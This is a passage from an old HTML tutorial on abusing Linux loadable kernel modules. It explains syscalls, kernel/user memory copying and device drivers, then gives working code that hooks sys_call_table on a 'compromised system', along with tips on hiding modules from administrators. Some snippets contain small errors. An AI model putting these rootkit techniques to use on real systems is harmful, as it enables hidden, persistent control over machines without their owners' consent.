- they are often used for specific device drivers (or filesystems) such as
- soundcards etc.<br>
- Every LKM consist of two basic functions (minimum) :
- <XMP>
- int init_module(void) /*used for all initialition stuff*/
- {
- ...
- }
- void cleanup_module(void) /*used for a clean shutdown*/
- {
- ...
- }
- </XMP>
- Loading a module - normally retricted to root - is managed by issuing the
- follwing command:
- <xmp>
- # insmod module.o
- </xmp>
- This command forces the System to do the following things :
- <ul>
- <li>Load the objectfile (here module.o)<br>
- <li>call create_module systemcall (for systemcalls -> see I.2) for Relocation of
- memory<br>
- <li>unresolved references are resolved by Kernel-Symbols with the systemcall
- get_kernel_syms<br>
- <li>after this the init_module systemcall is used for the LKM initialisation
- -> executing int init_module(void) etc.<br>
- </ul>
- The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).<br>
- So I think we can write our first little LKM just showing how it basicly works:
- <xmp>
- #define MODULE
- #include <Linux/module.h>
- int init_module(void)
- {
- printk("<1>Hello World\n");
- return 0;
- }
- void cleanup_module(void)
- {
- printk("<1>Bye, Bye");
- }
- </xmp>
- You may wonder why I used printk(...) not printf(...). Well <i>Kernel-Programming</i>
- is totally different from <i>Userspace-Programming</i> !<br>
- You only have a very restricted set of commands (see I.6). With those commands
- you cannot do much, so you will learn how to use lots of functions you know from
- your userspace applications helping you hacking the kernel. Just be patient, we
- have to do something else before...<br>
- The Example above can easily compiled by
- <xmp>
- # gcc -c -O3 helloworld.c
- # insmod helloworld.o
- </xmp>
- Ok, our module is loaded and showed us the famous text. Now you can check some
- commands showing you that your LKM really stays in kernel space.<br>
- <xmp>
- # lsmod
- Module Pages Used by
- helloworld 1 0
- </xmp>
- This command reads the information in /proc/modules for showing you which
- modules are loaded at the moment. 'Pages' is the memory information (how many
- pages does this module fill); the 'Used by' field tells us how often the module
- is used in the System (reference count). The module can only be removed, when
- this counter is zero; after checking this, you can remove your module with
- <xmp>
- # rmmod helloworld
- </xmp>
- Ok, this was our first little (very little) step towards abusing LKMs. I always
- compared those LKMs to old DOS TSR Programs (yes there are many differences,
- I know), they were our gate to staying resident in memory and catching every
- interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is
- also similar to LKMs (also many differences). The most interesting part of
- those resident programs is the ability to hook system functions, in the Linux
- world called systemcalls.<br>
-
- <H3><A NAME="I.2."></A>2. What are systemcalls</h3>
- I hope you know, that every OS has some functions build into its kernel, which
- are used for every operation on that system.<br>
- The functions Linux uses are called systemcalls. They represent a transition
- from user to kernel space. Opening a file in user space is represented by the
- sys_open systemcall in kernel space. For a complete list of all systemcalls
- available on your System look at /usr/include/sys/syscall.h. The following list
- shows my syscall.h
- <xmp>
- #ifndef _SYS_SYSCALL_H
- #define _SYS_SYSCALL_H
- #define SYS_setup 0 /* Used only by init, to get system going. */
- #define SYS_exit 1
- #define SYS_fork 2
- #define SYS_read 3
- #define SYS_write 4
- #define SYS_open 5
- #define SYS_close 6
- #define SYS_waitpid 7
- #define SYS_creat 8
- #define SYS_link 9
- #define SYS_unlink 10
- #define SYS_execve 11
- #define SYS_chdir 12
- #define SYS_time 13
- #define SYS_prev_mknod 14
- #define SYS_chmod 15
- #define SYS_chown 16
- #define SYS_break 17
- #define SYS_oldstat 18
- #define SYS_lseek 19
- #define SYS_getpid 20
- #define SYS_mount 21
- #define SYS_umount 22
- #define SYS_setuid 23
- #define SYS_getuid 24
- #define SYS_stime 25
- #define SYS_ptrace 26
- #define SYS_alarm 27
- #define SYS_oldfstat 28
- #define SYS_pause 29
- #define SYS_utime 30
- #define SYS_stty 31
- #define SYS_gtty 32
- #define SYS_access 33
- #define SYS_nice 34
- #define SYS_ftime 35
- #define SYS_sync 36
- #define SYS_kill 37
- #define SYS_rename 38
- #define SYS_mkdir 39
- #define SYS_rmdir 40
- #define SYS_dup 41
- #define SYS_pipe 42
- #define SYS_times 43
- #define SYS_prof 44
- #define SYS_brk 45
- #define SYS_setgid 46
- #define SYS_getgid 47
- #define SYS_signal 48
- #define SYS_geteuid 49
- #define SYS_getegid 50
- #define SYS_acct 51
- #define SYS_phys 52
- #define SYS_lock 53
- #define SYS_ioctl 54
- #define SYS_fcntl 55
- #define SYS_mpx 56
- #define SYS_setpgid 57
- #define SYS_ulimit 58
- #define SYS_oldolduname 59
- #define SYS_umask 60
- #define SYS_chroot 61
- #define SYS_prev_ustat 62
- #define SYS_dup2 63
- #define SYS_getppid 64
- #define SYS_getpgrp 65
- #define SYS_setsid 66
- #define SYS_sigaction 67
- #define SYS_siggetmask 68
- #define SYS_sigsetmask 69
- #define SYS_setreuid 70
- #define SYS_setregid 71
- #define SYS_sigsuspend 72
- #define SYS_sigpending 73
- #define SYS_sethostname 74
- #define SYS_setrlimit 75
- #define SYS_getrlimit 76
- #define SYS_getrusage 77
- #define SYS_gettimeofday 78
- #define SYS_settimeofday 79
- #define SYS_getgroups 80
- #define SYS_setgroups 81
- #define SYS_select 82
- #define SYS_symlink 83
- #define SYS_oldlstat 84
- #define SYS_readlink 85
- #define SYS_uselib 86
- #define SYS_swapon 87
- #define SYS_reboot 88
- #define SYS_readdir 89
- #define SYS_mmap 90
- #define SYS_munmap 91
- #define SYS_truncate 92
- #define SYS_ftruncate 93
- #define SYS_fchmod 94
- #define SYS_fchown 95
- #define SYS_getpriority 96
- #define SYS_setpriority 97
- #define SYS_profil 98
- #define SYS_statfs 99
- #define SYS_fstatfs 100
- #define SYS_ioperm 101
- #define SYS_socketcall 102
- #define SYS_klog 103
- #define SYS_setitimer 104
- #define SYS_getitimer 105
- #define SYS_prev_stat 106
- #define SYS_prev_lstat 107
- #define SYS_prev_fstat 108
- #define SYS_olduname 109
- #define SYS_iopl 110
- #define SYS_vhangup 111
- #define SYS_idle 112
- #define SYS_vm86old 113
- #define SYS_wait4 114
- #define SYS_swapoff 115
- #define SYS_sysinfo 116
- #define SYS_ipc 117
- #define SYS_fsync 118
- #define SYS_sigreturn 119
- #define SYS_clone 120
- #define SYS_setdomainname 121
- #define SYS_uname 122
- #define SYS_modify_ldt 123
- #define SYS_adjtimex 124
- #define SYS_mprotect 125
- #define SYS_sigprocmask 126
- #define SYS_create_module 127
- #define SYS_init_module 128
- #define SYS_delete_module 129
- #define SYS_get_kernel_syms 130
- #define SYS_quotactl 131
- #define SYS_getpgid 132
- #define SYS_fchdir 133
- #define SYS_bdflush 134
- #define SYS_sysfs 135
- #define SYS_personality 136
- #define SYS_afs_syscall 137 /* Syscall for Andrew File System */
- #define SYS_setfsuid 138
- #define SYS_setfsgid 139
- #define SYS__llseek 140
- #define SYS_getdents 141
- #define SYS__newselect 142
- #define SYS_flock 143
- #define SYS_syscall_flock SYS_flock
- #define SYS_msync 144
- #define SYS_readv 145
- #define SYS_syscall_readv SYS_readv
- #define SYS_writev 146
- #define SYS_syscall_writev SYS_writev
- #define SYS_getsid 147
- #define SYS_fdatasync 148
- #define SYS__sysctl 149
- #define SYS_mlock 150
- #define SYS_munlock 151
- #define SYS_mlockall 152
- #define SYS_munlockall 153
- #define SYS_sched_setparam 154
- #define SYS_sched_getparam 155
- #define SYS_sched_setscheduler 156
- #define SYS_sched_getscheduler 157
- #define SYS_sched_yield 158
- #define SYS_sched_get_priority_max 159
- #define SYS_sched_get_priority_min 160
- #define SYS_sched_rr_get_interval 161
- #define SYS_nanosleep 162
- #define SYS_mremap 163
- #define SYS_setresuid 164
- #define SYS_getresuid 165
- #define SYS_vm86 166
- #define SYS_query_module 167
- #define SYS_poll 168
- #define SYS_syscall_poll SYS_poll
- #endif /* <sys/syscall.h> */
- </xmp>
- Every systemcall has a defined number (see listing above), which is actually
- used to make the systemcall.<br>
- The Kernel uses interrupt 0x80 for managing every systemcall. The systemcall
- number and any arguments are moved to some registers (eax for systemcall number,
- for example).<br>
- The systemcall number is an index in an array of a kernel structure called
- sys_call_table[]. This structure maps the systemcall numbers to the needed
- service function.<br>
- Ok, this should be enough knowledge to continue reading. The following table
- lists the most interesting systemcalls plus a short description.
- Believe me, you have to know the exact working of those systemcalls in order to
- make really useful LKMs.<br>
- <TABLE border=5 width=100%>
- <tr>
- <th>systemcall</th>
- <th>description</th>
- <tr>
- <td>int sys_brk(unsigned long new_brk);</td>
- <td>changes the size of used DS (data segment)
- ->this systemcall will be discussed in I.4</td>
- </tr>
- <tr>
- <td>int sys_fork(struct pt_regs regs);</td>
- <td>systemcall for the well-know fork() function in user space</td>
- </tr>
- <tr>
- <td>int sys_getuid
- ()<br>
- int sys_setuid
- (uid_t uid)<br>
- ...</td>
- <td>systemcalls for managing UID etc.</td>
- </tr>
- <tr>
- <td>int sys_get_kernel_sysms(struct kernel_sym *table)</td>
- <td>systemcall for accessing the kernel system table (-> I.3)</td>
- </tr>
- <tr>
- <td>int sys_sethostname
- (char *name,
- int len);<br>
- int sys_gethostname
- (char *name,
- int len);<br></td>
- <td>sys_sethostname is responsible for setting the hostname, and sys_gethostname for retrieving
- it</td>
- </tr>
- <tr>
- <td>int sys_chdir
- (const char *path);<br>
- int sys_fchdir
- (unsigned int fd);<br></td>
- <td>both function are used for setting the current directory (cd ...)</td>
- </tr>
- <tr>
- <td>int sys_chmod
- (const char
- *filename, mode_t
- mode);<br>
- int sys_chown
- (const char
- *filename, mode_t
- mode);<br>
- int sys_fchmod
- (unsigned int
- fildes, mode_t
- mode);<br>
- int sys_fchown
- (unsigned int
- fildes, mode_t
- mode);<br></td>
- <td>functions for managing permissions and so on</td>
- </tr>
- <tr>
- <td>int sys_chroot
- (const char
- *filename);</td>
- <td>sets root directory for calling process</td>
- </tr>
- <tr>
- <td>int sys_execve
- (struct pt_regs regs);</td>
- <td>important systemcall -> it is responsible for executing file (pt_regs is the register stack)</td>
- </tr>
- <tr>
- <td>long sys_fcntl
- (unsigned int fd,
- unsigned int cmd,
- unsigned long arg);</td>
- <td>changing characteristics of fd (opened file descr.)</td>
- </tr>
- <tr>
- <td>int sys_link
- (const char *oldname,
- const char *newname);<br>
- int sym_link
- (const char *oldname,
- const char *newname);<br>
- int sys_unlink
- (const char *name);<br></td>
- <td>systemcalls for hard- / softlinks management</td>
- </tr>
- <tr>
- <td>int sys_rename
- (const char *oldname,
- const char *newname);</td>
- <td>file renaming</td>
- </tr>
- <tr>
- <td>int sys_rmdir
- (const char* name);<br>
- int sys_mkdir
- (const *char filename,
- int mode);<br></td>
- <td>creating & removing directories</td>
- </tr>
- <tr>
- <td>int sys_open
- (const char *filename,
- int mode);<br>
- int sys_close
- (unsigned int fd);<br></td>
- <td>everything concering opening files (also creation), and also closing them</td>
- </tr>
- <tr>
- <td>int sys_read
- (unsigned int fd,
- char *buf, unsigned int
- count);<br>
- int sys_write
- (unsigned int fd,
- char *buf, unsigned int
- count);<br></td>
- <td>systemcalls for writing & reading from Files</td>
- </tr>
- <tr>
- <td>int sys_getdents
- (unsigned int fd,
- struct dirent *dirent,
- unsigned int count);</td>
- <td>systemcall which retrievs file listing (ls ... command) </td>
- </tr>
- <tr>
- <td>int sys_readlink
- (const char *path,
- char *buf, int bufsize);</td>
- <td>reading symbolic links</td>
- </tr>
- <tr>
- <td>int sys_selectt
- (int n, fd_set *inp,
- fd_set *outp, fd_set
- *exp, struct timeval
- *tvp);</td>
- <td>multiplexing of I/O operations</td>
- </tr>
- <tr>
- <td>sys_socketcall
- (int call, unsigned long
- args);</td>
- <td>socket functions</td>
- </tr>
- <tr>
- <td>unsigned long
- sys_create_module
- (char *name, unsigned
- long size);<br>
- int sys_delete_module
- (char *name);<br>
- int sys_query_module
- (const char *name,
- int which,
- void *buf,
- size_t bufsize,
- size_t *ret);<br></td>
- <td>used for loading / unloading LKMs and querying</td>
- </tr>
- </table>
- In my opinion these are the most interesting systemcalls for any hacking
- intention, of course it is possible that you may need something special on your
- rooted system, but the average hacker has a plenty of possibilities with the
- listing above. In part II you will learn how to use the systemcalls for your
- profit.
- <H3><A NAME="I.3."></A>3. What is the Kernel-Symbol-Table</h3>
- Ok, we understand the basic concept of systemcalls and modules. But there is
- another very important point we need to understand - the Kernel Symbol Table.
- Take a look at /proc/ksyms. Every entry in this file represents an exported
- (public) Kernel Symbol, which can be accessed by our LKM. Take a deep look
- in that file, you will find many interesting things in it. <br>
- This file is really very interesting, and can help us to see what our LKM can
- get; but there is one problem. Every Symbol used in our LKM (like a function) is
- also exportet to the public, and is also listed in that file. So an experienced
- admin could discover our little LKM and kill it.<br>
- There are lots of methods to prevent the admin from seeing our LKM, look at
- section II.<br>
- The methods mentioned in II can be called 'Hacks', but when you take a look at
- the contents of section II you won't find any reference to 'Keeping LKM Symbols
- out of /proc/ksyms'. The reason for not mentioning this problem in II is the
- following :<br>
- you won't need a trick to keep your module symbols away from /proc/ksyms.
- LKM devolopers are able to use the following piece of regular code to limit the
- exported symbols of their module:<br>
- <xmp>
- static struct symbol_table module_syms= { /*we define our own symbol table !*/
- #include <linux/symtab_begin.h> /*symbols we want to export, do we ?*/
- ...
- };
- register_symtab(&module_syms); /*do the actual registration*/
- </xmp>
- As I said, we don't want to export any symbols to the public, so we use the
- following construction :
- <xmp>
- register_symtab(NULL);
- </xmp>
- This line must be inserted in the init_module() function, remember this !
- <H3><A NAME="I.4."></A>4. How to transform Kernel to User Space Memory </h3>
- Till now this essay was very very basic and easy. Now we come to stuff
- more difficult (but not more advanced).<br>
- We have many advantages because of coding in kernel space, but we also have some
- disadvantages. systemcalls get their arguments from user space (systemcalls are
- implemented in wrappers like libc), but our LKM runs in kernel space. In section
- II you will see that it is very important for us to check the arguments of
- certain systemcalls in order to act the right way. But how can we access an
- argument allocated in user space from our kernel space module ?
- <br><i>Solution</i> : We have to make a <i>transition</i>.<br>
- This may sound a bit strange for non-kernel-hackers, but is really easy. Take
- the following systemcall :<br>
- <xmp>
- int sys_chdir (const char *path)
- </xmp>
- Imagine the system calling it, and we intercept that call (we will learn this in
- section II). We want to check the path the user wants to set, so we have to
- access const char *path. If you try to access the path variable directly like
- <xmp>
- printk("<1>%s\n", path);
- </xmp>
- you will get <i>real</i> problems...<br>
- Remember you are in kernel space, you <i>cannot</i> read user space memory easily.
- Well in Phrack 52 you get a solution by plaguez, which is specialized for strings
- He uses a kernel mode function (macro) for retrieving user space memory bytes :
- <xmp>
- #include <asm/segment.h>
- get_user(pointer);
- </xmp>
- Giving this function a pointer to our *path location helps ous getting the bytes
- from user space memory to kernel space. Look at the implemtation made by plaguez
- for moving strings from user to kernel space:<br>
- <xmp>
- char *strncpy_fromfs(char *dest, const char *src, int n)
- {
- char *tmp = src;
- int compt = 0;
- do {
- dest[compt++] = __get_user(tmp++, 1);
- }
- while ((dest[compt - 1] != '\0') && (compt != n));
- return dest;
- }
- </xmp>
- If we want to convert our *path variable we can use the following piece of kernel
- code :
- <xmp>
- char *kernel_space_path;
- kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory
- in kernel space*/
- (void) strncpy_fromfs(test, path, 20); /*calling plaguez's
- function*/
- printk("<1>%s\n", kernel_space_path); /*now we can use
- the data for whatever we
- want*/
- kfree(test); /*remember freeing the
- memory*/
- </xmp>
- The code above works very fine. For a general transition it is too complicated;
- plaguez used it only for strings (the functions is made only for string copies).
- For normal data transitions the following function is the easiest way of doing:
- <xmp>
- #include <asm/segment.h>
- void memcpy_fromfs(void *to, const void *from, unsigned long count);
- </xmp>
- Both functions are obviously based on the same kind of commands, but the second
- one is nearly the same as plaguez's newly defined function. I would recommand
- using memcpy_fromfs(...) for general data transitions and plaguez's one for
- string copying tasks.<br>
- Now we know how to convert <i>from</i> user space memory <i>to</i> kernel space. But what
- about the other direction ? This is a bit harder, because we cannot easily
- allocate user space memory from our kernel space position. If we could manage this
- problem we could use<br>
- <xmp>
- #include <asm/segment.h>
- void memcpy_tofs(void *to, const void *from, unsigned long count);
- </xmp>
- doing the actual converting. But how to allocate user space for the *to pointer?
- plaguez's Phrack essay gives us the best solution :
- <xmp>
- /*we need brk systemcall*/
- static inline _syscall1(int, brk, void *, end_data_segment);
- ...
- int ret, tmp;
- char *truc = OLDEXEC;
- char *nouveau = NEWEXEC;
- unsigned long mmm;
- mmm = current->mm->brk;
- ret = brk((void *) (mmm + 256));
- if (ret < 0)
- return ret;
- memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
- </xmp>
- This is a very nice trick used here. current is a pointer to the task structure
- of the current process; mm is the pointer to the mm_struct - responsible for
- the memory management of that process. By using the brk-systemcall on current->
- mm->brk we are able to increase the size of the unused area of the datasegment.
- And as we all know allocating memory is done by playing with the datasegment,
- so by increasing the unused area size, we have allocated some piece of memory
- for the current process. This memory can be used for copying the kernel space
- memory to user space (of the current process).<br>
- You may wonder about the first line from the code above. This line helps us to
- use user space like functions in kernel space.Every user space function provided
- to us (like fork, brk, open, read, write, ...) is represented by a _syscall(...)
- macro. So we can construct the exact syscall-macro for a certain user space
- function (represented by a systemcall); here for brk(...).<br>
- See I.5 for a detailed explanation.
- <H3><A NAME="I.5."></A>5. Ways to use user space like functions</h3>
- As you saw in I.4 we used a syscall macro for constructing our own brk call,
- which is like the one we know from user space (->brk(2)). The truth about the
- user space library funtions (not all) is that they all are implemented through
- such syscall macros. The following code shows the _syscall1(..) macro used in
- I.4 to construct the brk(..) function (taken from /asm/unistd.h). <br>
- <xmp>
- #define _syscall1(type,name,type1,arg1) \
- type name(type1 arg1) \
- { \
- long __res; \
- __asm__ volatile ("int $0x80" \
- : "=a" (__res) \
- : "0" (__NR_##name),"b" ((long)(arg1))); \
- if (__res >= 0) \
- return (type) __res; \
- errno = -__res; \
- return -1; \
- }
- </xmp>
- You don't need to understand this code in its full function, it just calls
- interrupt 0x80 with the arguments provided by the _syscall1 parameters (-> I.2).
- name stands for the systemcall we need (the name is expanded to __NR_name, which
- is defined in /asm/unistd.h). This way we implemted the brk function. Other
- functions with a different count of arguments are implemented through other
- macros (_syscallX, where X stands for the number of arguments). <br>
- I personally use another way of implementing functions; look at the following
- example :
- <xmp>
- int (*open)(char *, int, int); /*declare a prototype*/
- open = sys_call_table[SYS_open]; /*you can also use __NR_open*/
- </xmp>
- This way you don't need to use any syscall macro, you just use the function
- pointer from the sys_call_table. While searching the web, I found that this
- way of contructing user space like functions is also used in the famous LKM
- infector by SVAT. In my opinion this is the better solution, but test it and
- judge yourself.<br>
- Be careful when supplying arguments for those systemcalls, they need them in
- user space not from your kernel space position. Read I.4 for ways to bring your
- kernel space data to user space memory.<br>
- A very easy way doing this (the best way in my opinion) is playing with the
- needed registers. You have to know that Linux uses segment selectors to
- differentiate between kernel space, user space and so on. Arguments used with
- systemcalls which were issued from user space are somewhere in the data segment
- selector (DS) range. [I did not mention this in I.4,because it fits more in this
- section.]<br>
- DS can be retrieved by using get_ds() from asm/segment.h. So the data used as
- parameters by systemcalls can only be accessed from kernel space if we set
- the segment selector used for the user segment by the kernel to the needed DS
- value. This can be done by using set_fs(...). But be careful,you have to restore
- FS after you accessed the argument of the systemcall. So let's look at a code
- fragment showing something useful :<br>
- <xmp>
- ->filename is in our kernel space; a string we just created, for example
- unsigned long old_fs_value=get_fs();
- set_fs(get_ds); /*after this we can access the user space data*/
- open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
- set_fs(old_fs_value); /*restore fs...*/
- </xmp>
- In my opinion this is the easiet / fastest way of solving the problem, but test
- it yourself (again).<br>
- Remember that the functions I showed till now (brk, open) are all implemented
- through a single systemcall. But there are also groups of user space functions
- which are summarized into one systemcall. Take a look at the listing of
- interesting systemcalls (I.2); the sys_socketcall, for example, implements every
- function concering sockets (creation, closing, sending, receiving,...). So be
- careful when constructing your functions; always take a look at the kernel
- sources.<br>
- <H3><A NAME="I.6."></A>6. List of daily needed Kernelspace Functions</h3>
- I introduced the printk(..) function in the beginning of this text. It is a
- function everyone can use in kernel space, it is a so called kernel function.
- Those functions are made for kernel developers who need complex functions which
- are normally only available through a library function. The following listing
- shows the most important kernel functions we often need :
- <TABLE border=5 width=100%>
- <tr>
- <th>function/macro</th>
- <th>description</th>
- <tr>
- <td>int sprintf
- (char *buf,
- const char *fmt,
- ...);<br>
- int vsprintf
- (char *buf,
- const char *fmt,
- va_list args);<br></td>
- <td>functions for packing data into strings</td>
- </tr>
- <tr>
- <td>printk
- (...)</td>
- <td>the same as printf in user space</td>
- </tr>
- <tr>
- <td>void *memset
- (void *s, char c,
- size_t count);<br>
- void *memcpy
- (void *dest, const void
- *src, size_t count);<br>
- char *bcopy
- (const char *src,
- char *dest, int count);<br>
- void *memmove
- (void *dest, const void
- *src, size_t count);<br>
- int memcmp
- (const void *cs,
- const void *ct, size_t
- count);<br>
- void *memscan
- (void *addr, unsigned char
- c, size_t size);<br></td>
- <td>memory functions</td>
- </tr>
- <tr>
- <td>int register_symtab
- (struct symbol_table
- *intab);</td>
- <td>see I.1</td>
- </tr>
- <tr>
- <td>char *strcpy
- (char *dest, const char
- *src);<br>
- char *strncpy
- (char *dest, const char
- *src, size_t count);<br>
- char *strcat
- (char *dest, const char *src);<br>
- char *strncat
- (char *dest, const char
- *src, size_t count);<br>
- int strcmp
- (const char *cs,
- const char *ct);<br>
- int strncmp
- (const char *cs,const
- char *ct, size_t count);<br>
- char *strchr
- (const char *s, char c);<br>
- size_t strlen
- (const char *s);<br>
- size_t strnlen
- (const char *s,
- size_t count);<br>
- size_t strspn
- (const char *s,
- const char *accept);<br>
- char *strpbrk
- (const char *cs,
- const char *ct);<br>
- char *strtok
- (char *s, const char *ct);<br></td>
- <td>string compare functions etc.</td>
- </tr>
- <tr>
- <td>unsigned long
- simple_strtoul
- (const char *cp,
- char **endp, unsigned int
- base);</td>
- <td>converting strings to number</td>
- </tr>
- <tr>
- <td>get_user_byte
- (addr);<br>
- put_user_byte
- (x, addr);<br>
- get_user_word
- (addr);<br>
- put_user_word
- (x, addr);<br>
- get_user_long
- (addr);<br>
- put_user_long
- (x, addr);<br></td>
- <td>functions for accessing user memory</td>
- </tr>
- <tr>
- <td>suser();<br>
- fsuser();<br></td>
- <td>checking for SuperUser rights</td>
- </tr>
- <tr>
- <td>int register_chrdev
- (unsigned int major,
- const char *name,
- struct file_o perations
- *fops);<br>
- int unregister_chrdev
- (unsigned int major,
- const char *name);<br>
- int register_blkdev
- (unsigned int major,
- const char *name,
- struct file_o perations
- *fops);<br>
- int unregister_blkdev
- (unsigned int major,
- const char *name);<br></td>
- <td>functions which register device driver<br>
- ..._chrdev -> character devices<br>
- ..._blkdev -> block devices<br></td>
- </tr>
- </table>
- Please remember that some of those function may also be made available through
- the method mentoined in I.5. But you should understand, that it is not very
- useful contructing nice user space like functions, when the kernel gives them
- to us for free.<br>
- Later on you will see that these functions (especially string comaprisons) are
- very important for our purposes.<br>
- <H3><A NAME="I.7."></A>7. What is the Kernel-Daemon </h3>
- Finally we nearly reached the end of the basic part. Now I will explain the
- working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a
- process in user space waiting for some action. First of all you must know that
- it is necessary to activite the kerneld option while building the kernel, in
- order to use kerneld's features. Kerneld works the following way : If the kernel
- wants to access a resource (in kernel space of course), which is not present
- at that moment, he does <i>not</i> produce an error. Instead of doing this he asks
- kerneld for that resource. If kerneld is able to provide the resource, it loads
- the required LKM and the kernel can continue working. By using this scheme it is
- possible to load and unload LKMs only when they are really needed / not needed.
- It should be clear that this work needs to be done both in user and in kernel
- space.<br>
- Kerneld exists in user space. If the kernel requests a new module this daemon
- receives a string from the kernel telling it which module to load.It is possible
- that the kenel sends a generic name (instead of the name of object file) like
- eth0. In this case the system need to lookup /etc/modules.conf for alias lines.
- Those lines match generic names to the LKM required on that system.<br>
- The following line says that eth0 is represented by a DEC Tulip driver LKM :<br>
- <xmp>
- # /etc/modules.conf # or /etc/conf.modules - this differs
- alias eth0 tulip
- </xmp>
- This was the user space side represented by the kerneld daemon. The kernel space
- part is mainly represented by 4 functions. These functions are all based on
- a call to kerneld_send. For the exact way kerneld_send is involved by calling
- those functions look at linux/kerneld.h. The following table lists the 4
- functions mentioned above :<br>
- <TABLE border=5 width=100%>
- <tr>
- <th>function</th>
- <th>description</th>
- <tr>
- <td>int sprintf
- (char *buf,
- const char *fmt,
- ...);<br>
- int vsprintf
- (char *buf,
- const char *fmt,
- va_list args);<br></td>
- <td>functions for packing data into strings</td>
- </tr>
- <tr>
- <td>int request_module
- (const char *name);</td>
- <td>says kerneld that the kernel requires a certain module (given a name or gerneric ID / name)<td>
- <tr>
- <tr>
- <td>int release_module
- (const char* name,
- int waitflag);</td>
- <td>unload a module</td>
- <tr>
- <tr>
- <td>int delayed_release_module
- (const char *name);</td>
- <td>delayed unload</td>
- <tr>
- <tr>
- <td>int cancel_release_module
- (const char *name);</td>
- <td>cancels a call of delayed_release_module</td>
- <tr>
- </table>
- <i>Note</i> : Kernel 2.2 uses another scheme for requesting modules. Take a look at part
- V.
- <H3><A NAME="I.8."></A>8. Creating your own Devices</h3>
- Appendix A introduces a TTY Hijacking util, which will use a device to log its
- results. So we have to look at a very basic example of a device driver.
- Look at the following code (this is a very basic driver, I just wrote it for
- demonstration, it does implement nearly no operations...) :<br>
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- /*just a dummy for demonstration*/
- static int driver_open(struct inode *i, struct file *f)
- {
- printk("<1>Open Function\n");
- return 0;
- }
- /*register every function which will be provided by our driver*/
- static struct file_operations fops = {
- NULL, /*lseek*/
- NULL, /*read*/
- NULL, /*write*/
- NULL, /*readdir*/
- NULL, /*select*/
- NULL, /*ioctl*/
- NULL, /*mmap*/
- driver_open, /*open, take a look at my dummy open function*/
- NULL, /*release*/
- NULL /*fsync...*/
- };
- int init_module(void)
- {
- /*register driver with major 40 and the name driver*/
- if(register_chrdev(40, "driver", &fops)) return -EIO;
- return 0;
- }
- void cleanup_module(void)
- {
- /*unregister our driver*/
- unregister_chrdev(40, "driver");
- }
- </xmp>
- The most important important function is register_chrdev(...) which registers
- our driver with the major number 40. If you want to access this driver,do the
- following :
- <xmp>
- # mknode /dev/driver c 40 0
- # insmod driver.o
- </xmp>
- After this you can access that device (but i did not implement any functions due
- to lack of time...). The file_operations structure provides every function
- (operation) which our driver will provide to the system. As you can see I did
- only implement a very (!) basic dummy function just printing something.
- It should be clear that you can implement your own devices in a very easy way
- by using the methods above. Just do some experiments. If you log some data (key
- strokes, for example) you can build a buffer in your driver that exports its
- contents through the device interface).
- <u><b>
- <H2>II. Fun & Profit</H2>
- </u></b>
- <P><P>
- <H3><A NAME="II.1."></A>1. How to intercept Syscalls</h3>
- Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel
- (especially hardware drivers). Our 'Hacks' will do something different, they
- will intercept systemcalls and modify them in order to change the way the system
- reacts on certain commands.<br>
- The following module makes it impossible for any user on the compromised system
- to create directories. This is just a little demonstration to show the way we
- follow.<br>
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- extern void* sys_call_table[]; /*sys_call_table is exported, so we
- can access it*/
- int (*orig_mkdir)(const char *path); /*the original systemcall*/
- int hacked_mkdir(const char *path)
- {
- return 0; /*everything is ok, but he new systemcall
- does nothing*/
- }
- int init_module(void) /*module setup*/
- {
- orig_mkdir=sys_call_table[SYS_mkdir];
- sys_call_table[SYS_mkdir]=hacked_mkdir;
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
- one*/
- }
- </xmp>
- Compile this module and start it (see I.1). Try to make a directory, it will
- not work.Because of returning 0 (standing for OK) we don't get an error message.
- After removing the module making directories is possible again.
- As you can see, we only need to change the corresponding entry in sys_call_table
- (see I.2) for intercepting a kernel systemcall.<br>
- The general approach to intercepting a systemcall is outlined in the following
- list :<br>
- <ul>
- <li> find your systemcall entry in sys_call_table[] (take a look at include/sys/
- syscall.h)<br>
- <li> save the old entry of sys_call_table[X] in a function pointer (where X stands
- for the systemcallnumber you want to intercept)<br>
- <li> save the address of the new (hacked) systemcall you defined yourself by
- setting sys_call_table[X] to the needed function address<br>
- </ul>
- You will recognize that it is very useful to save the old systemcall function
- pointer, because you will need it in your hacked one for emulating the original
- call. The first question you have to face when writing a 'Hack-LKM ' is : <br>
- <i>'Which systemcall should I intercept'.</i><br>
- <H3><A NAME="II.2."></A>2. Interesting Syscalls to Intercept</h3>
- Perhaps you are not a 'kernel god' and you don't know every systemcall for every
- user space function an application or command can use. So I will give you some
- hints on finding your systemcalls to take control over.<br>
- <ol type="a">
- <li>read source code. On systems like Linux you can have the source code on
- nearly any program a user (admin) can use. Once you have found a basic
- function like dup, open, write, ... go to b<br>
- <li>take a look at include/sys/syscall.h (see I.2). Try to find a directly
- corresponding systemcall (search for dup -> you will find SYS_dup; search
- for write -> you will find SYS_write; ...). If this does not work got to c<br>
- <li>some calls like socket, send, receive, ... are implemented through one
- systemcall - as I said before. Take a look at the include file mentioned
- for related systemcalls.<br>
- </ol>
- Remember not every C-lib function is a systemcall ! Most functions are totally
- unrelated to any systemcalls !<br>
- A little more experienced hackers should take a look at the systemcall listing
- in I.2 which provides enough information. It should be clear that User ID management
- is implemented through the uid-systemcalls etc. If you really want to be sure
- you can also take a look at the library sources / kernel sources.<br>
